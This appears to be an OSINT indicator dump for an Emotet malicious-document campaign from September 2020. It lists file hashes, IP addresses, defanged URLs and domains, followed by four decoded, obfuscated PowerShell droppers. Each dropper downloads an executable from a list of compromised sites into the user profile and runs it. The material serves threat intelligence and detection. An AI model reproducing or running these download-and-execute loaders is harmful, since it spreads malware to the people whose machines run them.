Emotet_Doc_out_2020-09-23_13_52.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
0c850e85bc3e92d0551863e1ce5cd03c3c3404ceeb7e38aed586706c4134f4a2
fa7f4b3fa89ce1e3cf1f45674f36346e729aced2de513c5a058f935c65b3cffc
1fec1525982eaf101a05eba9a0529a2173919202f4be2e7fd0b4a73102f4da0b
06adccb0830725b1272de45aa1e389479de4317cc3e401396ee6320e992dc261
cd537ffeb9d0a9e21855ebee9da69cd5b7e1c0839e6fca3be47f0a695a41d2e4
cb244ee23263d4776d7a353173d14fc35fe3c1312615415c70def4cf97744d97
955417c2e173ab3f64f91ad4d7921703e936abfc30a3115a22289becd6fb94db
04648ce7223361494ad5620c674be88a869710007f672d05721b77af59be70fd
526a3a875236eb66c2fa9894594c30025d794c8ecbe0dde1fd873dedfab79497
68489ce36e7548641be6668b08d265ead175025a1650199eb050bee7e4e8566e
b84c54a1704a22ceac88f79804b5a23b2a64547cadf21d76291d01f84b0e77d6
8d2251dc615f9d04a6658ae1257db2447c607432e32cab8e52403bef7de84872
4b973bfc433ee718529a53601116b566866a52e4909511ed8ba4d4d4c3a33384
8f8f1029e9909427e27aa6d225db5eb6d8767560af23836c44a0abff203eae4b
53dde3ba3a9c47b693f01a8904d5d1c223cb25c08f0488ff97b08e05dbbc7be6
55118df66440387e6511fc9600eadd4e69c65dcb7708ad80d3d2a16ea05439e7
35c3efd57aa305a23f2a600bda311b44d230966967b288973e07fb5820edea53
f81dc1dd571c29424756de4b14efa593fdea619f32694846535c4820c9acf375
1d6604773dcc06efdd5664f01c0a515be47465bf1638f5b9dbed05debcca83b5
e3187dbe7923459b3ea645a3d68b357927471e14d70aa4e542327ad4ef540637
8fe10663f36d8403d8c75b3a696a4dd96ded71c95bf3e5d88f34c4dc7ec96835
814f137cae855a704657faabeeebe984d9e9677440e260fdba8d193f3f24005b
a306f78cac809e60ccf84e607470e4c43f0de4efe4dcd2f0e470786a5f672a35
096e7d0d8016a7efe13a6bcfe45e2b78d115eb681a6f855b639a9ca3c8db22c4
23bc63af094f80c54cfecb85f86f0b2f1975ae55f29d9d66ea61d6612c36a567
b3a84427b070daa7ceb7b51063673a3718f2ef81766fd7523b494f4a29052ab6
64c7907e94da2ce9a18f7ad3c62a54d7e9afb9b0be47c3bf44d9e94298fa4e8b
8d9264f42739eb272f340990d05b2688263682781551a47e197cf7fd15f54695
a1b5ef92ceaa6be33f3950c95ae60066fd936f9757ed3213b26f31ad04659cf4
f45a45fe0b9b279c6941ec5956a271d1e7bf706c54b2a744f1606237721ccbc8
4f09397b6219cc33b6d317121c35865043663d6bead47a855a9d33820f8f49fb
f3e2c199feb4b5a8466a05e886c81f1e54a3700521769d35e39aae751770d9de
f3e2c199feb4b5a8466a05e886c81f1e54a3700521769d35e39aae751770d9de
1efc790008eb7e0bfb5daa775aaeb4e590d6ebd45f815e33bf8370be89818d02
ddf9cd73acc0f44cf4ae5e63e11779ce316031dced2882ea971ecc4a99a37b80
d077391f811e9aa25621f5140c96860cdda3b56bceaf5245e4d4cbc6a961e6ef
b569a229941b7c815c828e1d70d8a88ba59b924c29d1c9e744058bda1e9e32fe
9779f5ab7945d472c6984721ad10fbf0297623ee1c25eeb109c33c6c8587d594
936e0b3b696a31047618a5ffe005e0500e2dd472581d4df1580db803e19cca8a
0990a5ce9af5ef021c1ff33b8203d94b316af05b9cc835d92d94d50fd19c2bc2
93fddf6220e95dc443df2a8bea1bd77d75a502ca3d7ba4428a6f7eccdf3c659e
a877dd61b25805e938555868388a8543768fb01e9c45ae6072c261f61264d466
8b325fb501e6ccef51fd001b0841c524018bc29a230fa989db00f3447496b3be
895fd53e9a64e8dd91b3a91c139ab4610aabb5787caf022fc1f11153b1d05cb0
6ee24ecb6179b30190e2fa2fc2bc52757db2c3f1939aaa11068e65ddbcb5ff89
6b42993cb21eb3f22f2e4889091a1cf1af9d529e81cfd1e6dec734f349f86703
dfa8f288cec02386061e3fa153580ff5a6eacd75a41cb2d27f3a3fb4c731f737
db7ae2115e8f4c391b5e610794feb7fddaac8298aa18324331fe13a6f92c00d2
5616a07174bf07899d97125e61f8bf9dfffc6c3e363c87a6fbef04d0ca2be8e1
0b54100fa83ac1de95e2c67b08ec5a99ea5cedb577c2673aba4001022cf1742e
33d2fd697a8c2c1c25324389d7d7fb90188fbb99fa0b4a662878b7aceae8c6c2
d0d7df17ee2b527c512b0d572c5874ff26d2f6744c0c25a35d62c7d114fda0fd
db038e21bf63ae34f34ca72fcf79b82c440034cc2b279a1ab25c1a3cf091eb02
9a6baa0a9bb647efb0669a7937efaed725329b6f31be7825f9cc682c5e0ece6c
43eedbdf492f436a35cd9dc842910b7fd67940bacceebc6f3f70e9a8e7ecf90f
5c9445f925d8a2e0a407ed2ebf195ddf070bff5c2709af01d4acff0df9d7e299


IPs:
109.203.103.140
148.251.125.163
162.144.116.216
162.144.85.205
162.214.1.47
191.6.196.95
198.136.54.70
198.46.91.221
198.8.93.29
199.103.62.4
205.144.171.69
210.209.84.184
216.177.141.15
35.209.143.27
35.209.84.178
45.124.87.188
45.147.17.249
45.158.14.18
45.20.152.170
45.64.185.141
46.16.62.168
46.183.8.124
47.104.169.106
64.118.86.20
68.66.226.82
75.103.92.178
91.234.194.88
96.30.46.196



URLs:
hxxp://riandutra.com/img/o9o/
hxxp://amyemitchell.com/themes/d3i/
hxxps://www.pxid360.com/wp-admin/w6X/
hxxp://zheliyouyy.com/wp-admin/3B/
hxxp://advanceddisposalsolutions.com/wp-includes/l/
hxxp://crazymut.com/d1ad_1a7z_jg4hewt/qWT/
hxxps://santyago.org/wp-content/qq/."sp`LIT"[char]42;
hxxp://vuatritue.com/wp-admin/w/
hxxp://castlestudios.com/bots/7/
hxxps://www.afriqueindustries-sa.com/ootqgtbgutgqkxfq/dS9/
hxxp://brandstrumpet-001-site1.ctempurl.com/default/lnD/
hxxp://oneinsix.com/test/u/
hxxp://livefarma.com/wp-content/hpu/
hxxp://datawyse.net/cgi-bin/8/."spL`iT"[char]42;
hxxp://armahouse.com/wp-includes/0/
hxxp://bitbenderz.com/ali/4Lo/
hxxp://lagera.com/images/W/
hxxp://msmartyford.com/assets/OI/
hxxp://geisterhouse.com/cgi-bin/FE/
hxxps://konican.com/cgi-bin/nFK/
hxxps://coolcomputers.info/LLC/zD/."SP`LiT"[char]42;
hxxp://ckinterbiz.com/backup/waI0rNy/
hxxp://creationskateboards.com/shred/xnYp2/
hxxp://bnmintl.com/cgi-bin/hQuB2/
hxxp://buildingrobots.net/cgi-bin/LKgv/
hxxp://booksearch.com/index_files/U/
hxxp://davehale.ca/cgi-bin/v4kax/
hxxps://www.equiposjj.com/cgi-bin/h0MId/."sPl`iT"[char]42;


Domains:
riandutra.com
amyemitchell.com
www.pxid360.com
zheliyouyy.com
advanceddisposalsolutions.com
crazymut.com
santyago.org
vuatritue.com
castlestudios.com
www.afriqueindustries-sa.com
brandstrumpet-001-site1.ctempurl.com
oneinsix.com
livefarma.com
datawyse.net
armahouse.com
bitbenderz.com
lagera.com
msmartyford.com
geisterhouse.com
konican.com
coolcomputers.info
ckinterbiz.com
creationskateboards.com
bnmintl.com
buildingrobots.net
booksearch.com
davehale.ca
www.equiposjj.com


Decoded Base64 Powershell:
<�F��,$B8tdf1s=N4xve81;
&new-item $env:UsERPrOFile\I6OyXo0\uzbJT6Q\ -itemtype DIRECTorY;
[Net.ServicePointManager]::"s`ECurITyP`R`OTOCOl" = tls12, tls11, tls;
$Uig650w = Hn_ui_s;
$J7d6j2n=Uw49psb;
$Ymx8uk_=$env:userprofile{0}I6oyxo0{0}Uzbjt6q{0} -f  [cHaR]92$Uig650w.exe;
$Isf63ox=Zy_f77m;
$Ezbrq3w=&new-object neT.webcLIenT;
$Eszp4k2=hxxp://riandutra.com/img/o9o/
hxxp://amyemitchell.com/themes/d3i/
hxxps://www.pxid360.com/wp-admin/w6X/
hxxp://zheliyouyy.com/wp-admin/3B/
hxxp://advanceddisposalsolutions.com/wp-includes/l/
hxxp://crazymut.com/d1ad_1a7z_jg4hewt/qWT/
hxxps://santyago.org/wp-content/qq/."sp`LIT"[char]42;
$K_2jxyx=Kz4sd49;
foreach$I7tlowx in $Eszp4k2{try{$Ezbrq3w."D`o`WnLoADF`ile"$I7tlowx, $Ymx8uk_;
$Inh26y3=Fg7v3ic;
If .Get-Item $Ymx8uk_."l`EnGTh" -ge 37882 {.Invoke-Item$Ymx8uk_;
$Ttq33_y=Jqcvf4f;
break;
$F5tywh2=Tbq3c_g}}catch{}}$Xhnksau=O7ri1od<�F��,$Hijqfdx=Qqct2lz;
&new-item $Env:uSeRproFilE\a0xWnn7\BK7BCFK\ -itemtype DirECtOry;
[Net.ServicePointManager]::"SecURI`T`Y`Prot`ocoL" = tls12, tls11, tls;
$K6cyy9n = Lj3ffz;
$W86_0ug=Guvoqy9;
$F33aiph=$env:userprofileQ58A0xwnn7Q58Bk7bcfkQ58."REP`Lace"Q58,[sTring][char]92$K6cyy9n.exe;
$Ylr_9lm=Tv1w4nf;
$Gv8rh8e=&new-object Net.WeBclIENt;
$P64ro40=hxxp://vuatritue.com/wp-admin/w/
hxxp://castlestudios.com/bots/7/
hxxps://www.afriqueindustries-sa.com/ootqgtbgutgqkxfq/dS9/
hxxp://brandstrumpet-001-site1.ctempurl.com/default/lnD/
hxxp://oneinsix.com/test/u/
hxxp://livefarma.com/wp-content/hpu/
hxxp://datawyse.net/cgi-bin/8/."spL`iT"[char]42;
$P9ptkez=Mf4_f8j;
foreach$B4i4d3l in $P64ro40{try{$Gv8rh8e."Dow`NLoad`FiLE"$B4i4d3l, $F33aiph;
$Mq65y1n=Ozin6us;
If .Get-Item $F33aiph."lEN`GTH" -ge 37993 {&Invoke-Item$F33aiph;
$G4sjpu4=Wt4sna5;
break;
$Femtly7=W0v7m38}}catch{}}$Xu8d2ic=Bh4hubi<�F��,$Kzq20il=I2xgr7c;
.new-item $eNv:UsERPROfILE\Mfj43Mf\g4_8Dy4\ -itemtype dIrecTorY;
[Net.ServicePointManager]::"s`eCU`RiTY`pRoT`OCoL" = tls12, tls11, tls;
$Qu9yqj1 = X8gm4grj;
$Uia3m8_=Si24_ti;
$P0sq42i=$env:userprofilecV5Mfj43mfcV5G4_8dy4cV5-rePLace cV5,[char]92$Qu9yqj1.exe;
$Grbz0jn=H_hrrpi;
$Go0bzrz=&new-object NeT.webCliENt;
$Tu2j2ot=hxxp://armahouse.com/wp-includes/0/
hxxp://bitbenderz.com/ali/4Lo/
hxxp://lagera.com/images/W/
hxxp://msmartyford.com/assets/OI/
hxxp://geisterhouse.com/cgi-bin/FE/
hxxps://konican.com/cgi-bin/nFK/
hxxps://coolcomputers.info/LLC/zD/."SP`LiT"[char]42;
$F9gali_=Qq2xl79;
foreach$Yxoxrb_ in $Tu2j2ot{try{$Go0bzrz."DoWnLO`A`DfilE"$Yxoxrb_, $P0sq42i;
$Yrt1pu6=Wjrm1sj;
If .Get-Item $P0sq42i."l`eNGTH" -ge 25763 {&Invoke-Item$P0sq42i;
$Nwbnhta=Fbss2po;
break;
$Vu_8t4y=Qgb3yef}}catch{}}$Mw4k8a2=Nhhsmbd<�F��,$Oqid1nu=A7xtbim;
&new-item $enV:UsErProFIle\zwL6MUI\oVCdBxs\ -itemtype dirEcTOrY;
[Net.ServicePointManager]::"Se`C`Uri`TYprOToCOl" = tls12, tls11, tls;
$I00205l = Aip4cb7p;
$T05jvkz=Kgtvhgx;
$Zy4soly=$env:userprofile43LZwl6mui43LOvcdbxs43L."re`pl`Ace"[cHAr]52[cHAr]51[cHAr]76,\$I00205l.exe;
$E5q9z_l=Nc5h1rt;
$Xrxh3t7=&new-object NeT.WEbClIeNt;
$Lzh9sa_=hxxp://ckinterbiz.com/backup/waI0rNy/
hxxp://creationskateboards.com/shred/xnYp2/
hxxp://bnmintl.com/cgi-bin/hQuB2/
hxxp://buildingrobots.net/cgi-bin/LKgv/
hxxp://booksearch.com/index_files/U/
hxxp://davehale.ca/cgi-bin/v4kax/
hxxps://www.equiposjj.com/cgi-bin/h0MId/."sPl`iT"[char]42;
$Vz0o27p=Ycxb505;
foreach$Jleppo7 in $Lzh9sa_{try{$Xrxh3t7."Do`WnlOAD`FI`lE"$Jleppo7, $Zy4soly;
$U37hpr1=Qu2sqr2;
If &Get-Item $Zy4soly."LEn`GTH" -ge 39089 {&Invoke-Item$Zy4soly;
$Z3tiikl=W_xmkqu;
break;
$Up0vlfm=E2hf9fr}}catch{}}$Ro6gl4u=O5vsdpn